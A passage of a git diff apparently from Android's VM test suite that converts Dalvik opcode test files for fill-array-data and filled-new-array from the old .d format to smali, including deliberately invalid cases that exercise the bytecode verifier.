+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_3;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p2, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.smali
new file mode 100644
index 0000000..72c34aa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_4.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_4;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D[I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.smali
new file mode 100644
index 0000000..ccb7f3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_5.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_5;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J[I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.smali
new file mode 100644
index 0000000..4031b9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_6.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_6;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p0, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x0
+        0x0
+        0x0
+        0x0
+        0x0
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.smali
new file mode 100644
index 0000000..d978b67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_7.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_7;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([Ljava/lang/Object;)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x0
+        0x0
+        0x0
+        0x0
+        0x0
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.smali
new file mode 100644
index 0000000..e3b7ce0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_8.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_8;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_8.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([D)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.smali
new file mode 100644
index 0000000..8d6d5e9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_9;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.d
deleted file mode 100644
index 0c195eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_1.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.smali
new file mode 100644
index 0000000..43b96f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_1.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.d
deleted file mode 100644
index ccfc7d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_10.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 10
-    const v9, 0
-    filled-new-array {v9}, [Ljava/lang/StringNNNNN;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.smali
new file mode 100644
index 0000000..76e5df6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_10.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array {v9}, [Ljava/lang/StringNNNNN;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.d
deleted file mode 100644
index dca1ca3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_11.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 10
-    const v9, 0
-    filled-new-array {v9}, [Ldot/junit/opcodes/filled_new_array/TestStubs;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.smali
new file mode 100644
index 0000000..15be0bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_11.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array {v9}, [Ldot/junit/opcodes/filled_new_array/TestStubs;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.d
deleted file mode 100644
index 532158e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_2.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
-.limit regs 10
-    filled-new-array {v8, v9}, [Ljava/lang/Object;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.smali
new file mode 100644
index 0000000..40fe3cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_2.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array {v8, v9}, [Ljava/lang/Object;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.d
deleted file mode 100644
index 69d1f79..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_3.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.smali
new file mode 100644
index 0000000..a8618fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_3.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.d
deleted file mode 100644
index ac6b1b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_4.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v10}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.smali
new file mode 100644
index 0000000..d79a723
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_4.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v10}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.d
deleted file mode 100644
index c2702a4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_5.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v4}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.smali
new file mode 100644
index 0000000..240adab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_5.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
